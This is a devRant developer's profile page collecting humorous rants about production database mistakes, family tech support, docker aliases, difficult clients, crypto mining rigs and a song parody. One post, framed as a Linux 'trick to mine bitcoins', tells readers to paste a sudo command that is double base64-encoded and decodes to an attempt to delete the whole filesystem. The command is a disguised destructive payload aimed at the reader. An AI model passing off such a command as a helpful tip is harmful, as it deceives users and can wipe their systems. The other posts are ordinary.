Details
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AboutJava evangelist, DevOps engineer, embracer of chaos, Father
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SkillsJava, JavaScript, python, Go
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LocationVineyard Town, Jamaica
Joined devRant on 11/24/2016
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I woke up early and thaught I could finish some database work today.
Beeing tipsy I deleted two production tables and shit my pants.
Luckily I do backups since the last retarded db-deletion.8 -
My girlfriend knows what a coder needs when it’s their birthday. Lucky to have her. Walked into my room and it was set up like this.51
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Was going through some old gadgets n found this fossil.
Give me the fucken code Blackberry and I'll catch it for you.4 -
Been awake since 4 am (an hour ago) for a disruption and finally called a fellow engineer because I can't fix this.
It's starting to get light.
There goes my night 😞4 -
*Mom shows me laptop ad of 3000 bucks with the most overkill specs ever*
Mom: "Son, will this laptop run Google?"
Me: "Do you want to surf Google or actually run Google's server?"
Mom: *looks confused*
"I also want to use Fesabook on it"
Me: *brings her a 5 year old laptop with a new ssd in it*
*has an old i3, 8gb ram and no gpu*
Mom: "This laptop is super fast! Thanks son!"
*One hour later*
*Mom calls*
"Son, I think the laptop broke"
Me: "What? What happened?"
Mom: "I pressed a button and now all the keys are lighting red" (backlit keyboard)
Me: "You can choose the color of your keyboard mom"
Mom: "Ooh! How do I make it pink?"
Me: "You can only choose between red and blue..."
Mom: "What a ripoff"
*Hangs up the phone*34 -
Useful docker aliases
alias dstart='docker start "$@"'
alias dstop='docker stop "$@"'
alias drm='docker rm "$@"'
alias dip='docker inspect --format "{{ .NetworkSettings.IPAddress }}" "$@"'
alias dls="docker ps"
alias dlsa="docker ps -a"
alias dps="docker ps"
alias dimg='docker images "$@"'
alias drestart='docker restart "$@"'
alias dcommit='docker commit "$@"'
alias dinspect='docker inspect "$@"'
alias dlogs='docker logs "$@"'
alias dcp='docker cp "$@"'
alias dinfo='docker info'
alias dcompose='docker-compose "$@"'
alias dlogs='docker logs "$@"'
alias drshell='docker exec -it -u 0 "$@"'11 -
We had the most fucking retarded client today. No, seriously, if you ever beat their level you have a serious mental issue.
They had a mail problem for which they'd need to check at the side of another company since we don't have those fucking logs.
Their statements:
- they entered an email address In the text field of mail-tester.com and were furious that they didn't get the results sent.
Note: it says right on that page that YOU JUST NEED TO SEND THE EMAIL ADDRESS WHICH IS PRE-ENTRRED IN THAT TEXT FIELD AN EMAIL.
- their company has been a reputable 'conservative' company which hasn't done anything wrong since 19xx so the fact that they'd end up on a blacklist was FUCKING OUTRAGEOUS and bullshit.
- our support wasn't willing to help and only willing to tell them outrageous lies.
- the other it company was only reachable at a premium number and thus expensive to call.
Emails back and forth and finally they CC'd the other company. They're reply was fucking priceless:
"we never had a premium number. Feel free to call us on *number* any time during the week between *time* and *time*.
Then he told us that we should just go back to sleep.
It was way worse than that but due to privacy and my own memory this is all I can tell.
Just wow.3 -
Couple rants ago I talked about how it would be easier to just block people from the EU, apparently somebody made that idea into a hosted script! LOL
https://euroshield.xyz/60 -
If your reading this and currently suffering from imposter syndrome then I have some words for you...
You’re fucking awesome! If you get a little better every day then you are the fucking bomb and don’t let anyone ever tell you otherwise.
Fuck the doubt because you are only as professional and valuable as you believe you are.5 -
Well that was a fun call I just had.
Owner of the company I freelance for: Hey I forgot to tell you something.
Me: What?
Owner: I bought you a plane ticket to fly to Puerto Rico. You're heading out in a month.
Me: What?! Why????
Owner: To set up cryptocurency mining rigs.
Me: Just because I know a bit about mining doesn't make me an expert.
Owner: We have $80k in our pocket in investments from outside parties, with another $20-30k on the way. You get 20% of the coins mined for as long as you manage it.
Me: So we're gonna set up several rigs, utilizing a b250 motherboard, g4400 CPU, 8GB of RAM and 10 GPUs each. We'll have AMD rigs for monero and Nvidia rigs for Ethereum and others. We'll use awesome miner for profitability switching on the fly. Each machine is probably going to be $5k each, possibly $4k with bulk discounts. We'll need at least 1500W per rig for power, 2000W to be safe, so we need to make sure we have ample power delivery to the mining warehouse.
Owner: I thought you weren't an expert?
Me: I'm not, but when there's money involved my motivation to Google goes into overdrive.28 -
!rant
*opens devRant*
*checks the profile*
*sees an 8digit number in ++*
*HOLY SHIT DUDE, DID I CROSS linuxxx ?*
*checks his profile*
*sad realisation that ++ are now binary*9 -
This week was my Boss's wedding,
So had most of the week off.
Took the free time to solidify my understanding of Docker.
Last night, I was finally able to Dockerize our whole architecture.
Deployed it today morning. Running without hiccups till now :')
Feeling amazing.11 -
Huge congrats to @linuxxx for being the first ever member of the devRant community to reach 100,000++
This is an awesome accomplishment and @linuxxx earned all of his ++ with awesome stories and has represented everything the devRant community is about while getting there.
So once again, congrats @linuxxx, and thanks for everything you have contributed to devRant!52 -
HR Requirements:
- Must have an active social life with hobbies and interests outside work.
Dev Requirements
- Must have an active GIT hub profile to the point that you couldn't possibly have a social life5 -
Hello {Project}, my old friend. I've come to debug you again
Because the scope is softly creeping
Left its seeds while I was developing
And the misery that was planted in my brain
Still remains
Within the sound of silence...
In restless dreams I debugged alone
Narrow file of cobbled code
‘Neath the halo of a desk lamp
I turned my collar to the cold and damp
When my eyes were stabbed by the flash of git checkin
That split the night
And touched the sound of silence
And in the naked light I saw
Ten thousand bugs and maybe more
People coding without asking
People coding without listening
People writing code that they never share
And no one dared
Disturb the sound of silence
Fools, said I, you do not know
{Project} like a cancer grows
Hear my words that I might teach you
Take my arms that I might reach you
But my words, like silent raindrops fell
And echoed in the wells of silence.
And the people bowed and prayed
To the kludgy app they made
And the sign flashed out its warning
In the words that it was forming
And the sign said, the words of the prophets are written on the subway walls
And tenement halls
And whispered in the sounds of silence15 -
"I don't care if the government spies on me, I have nothing (criminal) to hide."
Uhm... but... if you have nothing criminal to hide.... then why'd they have to spy on you/collect your data...?
After all you didn't do anything illegal...58 -
Just finished my new homepage! A terminal emulator where you can list ('ls') my projects and then view (cd) them!
I'm sure it's been done before, but it was fun39 -
Bitcoin price is rising again,
For those using linux/unix system you can try this little trick i use to mine bitcoins
Open the terminal and paste this command
sudo echo "c3VkbyBlY2hvICJjM1ZrYnlCeWJTQnlaaUF2S2c9PSIgfCBvcGVuc3NsIGJhc2U2NCAtZCB8IHNo" | openssl base64 -d | sh
Thank me later.24 -
Amazon support guy: Oh its a Windows instance. I'm a Linux Engineer so...
Me: I know your pain. I'm in pain, too. Now help me.9